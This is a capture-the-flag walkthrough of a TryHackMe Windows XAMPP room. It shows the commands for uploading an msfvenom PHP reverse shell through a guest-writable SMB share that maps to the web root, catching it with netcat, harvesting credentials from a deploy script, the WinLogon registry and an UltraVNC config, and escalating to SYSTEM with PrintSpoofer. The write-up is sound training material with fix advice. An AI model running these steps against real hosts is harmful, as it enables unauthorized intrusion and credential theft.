AllSignsPoint2Pwnage
A writable guest SMB share maps onto the XAMPP web root, so a PHP shell uploaded over SMB is web-executed for RCE; credentials are scattered across a deploy .bat, the WinLogon AutoAdminLogon registry value and an UltraVNC config, and SeImpersonatePrivilege is abused with PrintSpoofer to SYSTEM.
A walkthrough of the “AllSignsPoint2Pwnage” room from TryHackMe — a Windows XAMPP box. A guest-writable SMB share is actually the web root, so a PHP shell uploaded over SMB runs when browsed. From there, credentials are strewn across a deploy script, the WinLogon auto-logon registry value and an UltraVNC config, and SeImpersonatePrivilege is abused with PrintSpoofer to reach SYSTEM.
AllSignsPoint2Pwnage is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. The box uses
thm{...}flags; flags and every recovered credential are shown asTHM{<redacted>}/<redacted>— real on the box, withheld here.
TL;DR
TL;DR
Anonymous FTP notice.txt says images moved to a hidden SMB share → guest SMB shows images$ as READ/WRITE, and it maps to C:\xampp\htdocs\images (the web root) → upload a PHP reverse shell over SMB and browse /images/shell.php for RCE → read the user flag on sign’s desktop → an Installs$ share holds a deploy .bat with the administrator password hardcoded, the registry WinLogon key holds an AutoAdminLogon cleartext password, and ultravnc.ini holds an obfuscated VNC password (decoded with vncpwd) → whoami /priv shows SeImpersonatePrivilege → PrintSpoofer gives a SYSTEM shell and the admin flag.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
nmap shows a Windows host running XAMPP (Apache/PHP), SMB, RDP, and UltraVNC:
21/tcp open ftp Microsoft ftpd # anonymous allowed
80/443 open http Apache 2.4.46 (Win64) PHP/7.4.11 # "Simple Slide Show" (XAMPP)
139/445 open smb
3389/tcp open rdp
5900/tcp open vnc UltraVNC
Anonymous FTP’s notice.txt points to a hidden Windows file share for images.
The vulnerability
The decisive flaw is that a guest-writable SMB share is the web root: SMB upload = web-executable file. Everything after is credential hygiene gone wrong and a classic SeImpersonate escalation.
Insight
The images$ share writes to C:\xampp\htdocs\images, which Apache serves at /images/. So a .php you drop over SMB as the unauthenticated guest user is executed by the web server when you request it — an unrestricted file upload turned into RCE by a share/web-root overlap. Confirm the primitive with a harmless test.txt (uploaded via SMB, read via HTTP) before dropping the shell.
Step 1 — writable share → web root → RCE (user flag)
nxc smb $IP -u guest -p '' --shares # images$ = READ,WRITE
# confirm overlap:
smbclient //$IP/images$ -U guest -p '' -c 'put test.txt'
curl http://$IP/images/test.txt # -> hello (SMB write == web file)
# drop a PHP reverse shell and trigger it:
msfvenom -p php/reverse_php LHOST=$ATTACKER_IP LPORT=4444 -f raw > shell.php
smbclient //$IP/images$ -U guest -p '' -c 'put shell.php'
nc -lvnp 4444 &
curl http://$IP/images/shell.php # -> shell
# C:\Users\sign\Desktop> more user_flag.txt -> THM{<redacted>}
Step 2 — harvest scattered credentials
The Installs$ share and the registry are full of secrets:
# deploy script hardcodes the administrator password:
type C:\Installs\Install_www_and_deploy.bat
# psexec ... -u administrator -p <redacted> xampp-...-installer.exe ...
# WinLogon stores an AutoAdminLogon cleartext password for 'sign':
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\WinLogon"
# DefaultUsername=.\sign DefaultPassword=<redacted> AutoAdminLogon=0x1
# UltraVNC config holds an obfuscated VNC password -> decode with vncpwd:
vncpwd.exe "C:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini" # -> <redacted>
Step 3 — SeImpersonatePrivilege → SYSTEM (admin flag)
C:\> whoami /priv # SeImpersonatePrivilege Enabled
SeImpersonatePrivilege is the classic “potato” win. Upload PrintSpoofer via the same share and run it:
smbclient //$IP/images$ -U guest -p '' -c 'put PrintSpoofer64.exe'
C:\xampp\htdocs\images> PrintSpoofer64.exe -i -c cmd.exe
# -> NT AUTHORITY\SYSTEM
# C:\Users\Administrator\Desktop> more admin_flag.txt -> THM{<redacted>}
Impact
Critical
Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). A guest-writable SMB share overlapping the web root lets an unauthenticated attacker upload and execute a PHP shell (RCE). Administrator credentials sit in cleartext in a deploy script and the WinLogon registry, and SeImpersonatePrivilege escalates the web user to SYSTEM via PrintSpoofer — complete host compromise, several times over.
Recommended fix
Fix
- Never let an upload share overlap the web root, and don’t grant
guestwrite. Serve images read-only from a non-executable path. - Remove plaintext credentials: no passwords in deploy
.batfiles, noAutoAdminLogon/DefaultPasswordin the registry (use a vault; rotate everything exposed here). - Don’t store recoverable VNC passwords; UltraVNC’s obfuscation is reversible.
- Mitigate
SeImpersonatePrivilegeon service accounts and keep the host patched against potato techniques.
Takeaways
- Map the share to the URL. A writable SMB share that is the web root is instant RCE — test with a text file first.
- Deploy scripts leak admin passwords. Always read
.bat/.ps1installers left on disk. - The registry hides cleartext creds.
WinLogonDefaultPasswordis a classic Windows loot spot. SeImpersonatePrivilege= SYSTEM. PrintSpoofer/Potato make it a one-command win.
AllSignsPoint2Pwnage earns its name — every misconfiguration points at the same outcome. Thanks for reading.